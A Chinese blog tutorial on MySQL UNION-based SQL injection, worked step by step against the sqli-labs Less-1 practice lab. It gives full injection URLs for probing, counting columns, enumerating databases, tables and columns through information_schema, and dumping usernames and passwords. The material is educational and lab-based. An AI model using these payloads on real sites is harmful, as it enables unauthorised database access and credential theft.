mysql联合查询注入无_SQL注入之联合查询注入 - WileySec's Blog

本文章主要记录MySQL数据库的SQL注入的联合查询注入一些总结

Feature

什么是联合查询?联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。

联合查询注入条件

联合查询注入需要在页面上有占位

什么是占位?

94bf717c2c02c2a95e0878a3825491e5.png

比如,一个新闻,红框框中的都是从数据库取出数据显示在页面上的,每一个红框框都是一个占位。

联合查询注入步骤判断是否有注入

判断是数字型注入还是字符型注入

猜测查询列数

寻找占位

获取所有数据库名

获取指定数据的所有表名

获取指定数据库的指定数据表的所有字段名

获取指定数据库的指定数据表的所有的内容

联合查询注入

判断是否有注入

016920d5df8ecd9890e6b4a34c583bd7.png

输入单引号进行测试,发现SQL语句报错,可能存在注入

判断是数字型注入还是字符型注入

9dcd827f551de6c41ae8bd1e87a7d39c.png

http://sqli.io/Less-1/index.php?id=1' and 1=1--+

f8a526a70e9b8769a6af90eae1466999.png

http://sqli.io/Less-1/index.php?id=1' and 1=2--+

通过判断页面返回正常和错误,可发现是 字符型注入

猜测查询列数

使用 order by 语句猜测查询列数

5b9d733f299194801e388eef83f56061.png

http://sqli.io/Less-1/index.php?id=1' order by 10--+

先猜测10列,发现不存在10列

f2a5c00a1d13a194ed8b159c97826ecd.png

http://sqli.io/Less-1/index.php?id=1' order by 3--+

列数为3时,页面返回正常,说明是列数为3

寻找占位

使用联合查询 union select 语句寻找占位

663f59870cb6f2fea0745e52f9ad6ca6.png

发现页面上并没有显示 1,2,3 占位

e8ebd9dd9f5579f858d53a9d320e1a1e.png

发现输入一个不存在的id值,然后再进行联合查询,页面上出现了占位

是因为第一个查询的值已经展示到页面上,让第一个查询出错没有值,后面查询的值替换这个位置即可看到占位的位置

获取所有数据库名

8585352c310521306fbcbaf3682abf61.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA--+

将占位2的位置替换成SQL语句查询,可以将所有数据库的名称列出来

获取指定数据的所有表名

318acf559a573ddfe095154c0fabba82.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'--+

获取指定数据库的指定数据表的所有字段名

a488535b1ee673626cba3180ac309a4f.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_SCHEMA='security'--+

获取指定数据库的指定数据表的所有的内容

c40df08094d00fbbb94a3a20dce6749f.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(id,username,password),3 from security.users--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值